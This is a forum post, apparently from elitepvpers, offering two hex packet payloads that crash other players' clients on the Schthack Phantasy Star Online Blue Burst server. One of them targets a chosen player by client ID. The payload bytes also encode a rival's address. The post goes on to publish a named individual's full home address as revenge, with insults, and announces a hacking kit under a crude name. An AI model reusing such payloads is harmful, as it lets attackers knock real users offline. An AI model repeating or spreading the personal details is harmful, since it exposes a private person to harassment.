SCHTHACK PSOBB Lobby FSOD
60 00 98 00 CD 25 00 00 00 00 01 00 90 47 7E 01 42 72 6F 6F 6D 6F 70 73 20 41 64 64 72 65 73 73 33 38 20 43 6F 72 6E 77 61 6C 6C 20 47 61 72 64 65 6E 73 20 55 58 42 52 49 44 47 45 2C 4D 69 64 64 6C 65 73 65 78 20 55 42 38 20 33 4A 54 20 2D 48 45 57 48 4F 43 4F 52 52 55 50 54 53 20 4D 65 67 61 43 6F 72 70 2C 20 49 6E 63 2E 20 2D 20 20 43 6F 70 79 72 69 67 68 74 A9 20 32 30 31 33 20 2D 20 77 77 77 2E 49 6E 66 61 6D 6F 75 73 47 61 6D 65 72 7A 2E 6E 65 74

SCHTHACK PSOBB Picky Lobby FSOD
62 xx 98 00 CD 25 00 00 00 00 01 00 90 47 7E 01 42 72 6F 6F 6D 6F 70 73 20 41 64 64 72 65 73 73 33 38 20 43 6F 72 6E 77 61 6C 6C 20 47 61 72 64 65 6E 73 20 55 58 42 52 49 44 47 45 2C 4D 69 64 64 6C 65 73 65 78 20 55 42 38 20 33 4A 54 20 2D 48 45 57 48 4F 43 4F 52 52 55 50 54 53 20 4D 65 67 61 43 6F 72 70 2C 20 49 6E 63 2E 20 2D 20 20 43 6F 70 79 72 69 67 68 74 A9 20 32 30 31 33 20 2D 20 77 77 77 2E 49 6E 66 61 6D 6F 75 73 47 61 6D 65 72 7A 2E 6E 65 74

xx = Client ID of the user you would like to FSOD.
The Client ID of the user you would like to FSOD can
be obtained from the "Lobby & Team User List" in SPSOF.


Broomops Address - Broomop was feeling all high and mighty and linked me to one of his many sites where he hosts other peoples work and or other peoples work with backdoors / keyloggers in them. I was bored so i figured i would do a Who Is domain look up on the address : D...he has admitted it was his, denied it was his...said it was his grandfathers...claimed he worked for the UK government and would make me pay for posting it...

Eat a Dick, Akex!

Alex Gould

38 Cornwall Gardens
UXBRIDGE, Middlesex UB8 3JT
UnitedKingdumb



PSO Network Protocol Documentation - This was released by



I think that pretty much covers everything and its back story that I have posted here...I will be releasing the less resource heavy HEWHOCORRUPTS PSO RapeKit in the near future...this update eliminates the need for a batch file...: D

Go ahead and do and say what you want about this, Alex!

...fun will always be fun!

-HEWHOCORRUPTS


HEWH0C0RRUPTS is offline  
Reply



« Previous Thread | Next Thread »

Similar Threads
[PSOBB] Items
i do 5 items for $30 any you want thanks. :mofo: Kings Ripper (0/0/0/0|66) Charge Assault +9 (0/0/0/0|60) Raikiri (0/0/0/0|25) L&K38 Combat...
2 Replies - Trading
PSOBB CE
The updated cheatengine i got from a previous thread works fine. Would adding to the table screw it up? Was just wondering.
445 Replies - General Gaming Discussion
PsoBB
I'm looking for someone to run some games with me in PsoBB, feel free to pm me for more details :)
0 Replies - General Gaming Discussion
PSOBB CE tips
Well I got board of the crappy drop rates on schthack and so I jumped ship to Eden... which doesn't seem to detect my pre schooler hacks (inf HP and...
0 Replies - General Gaming Discussion
PSOBB hacks?
Nm found some.
0 Replies - General Gaming Discussion



All times are GMT +1. The time now is 22:56.


Powered by vBulletin®
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Abuse
Copyright ©2017 elitepvpers All Rights Reserved.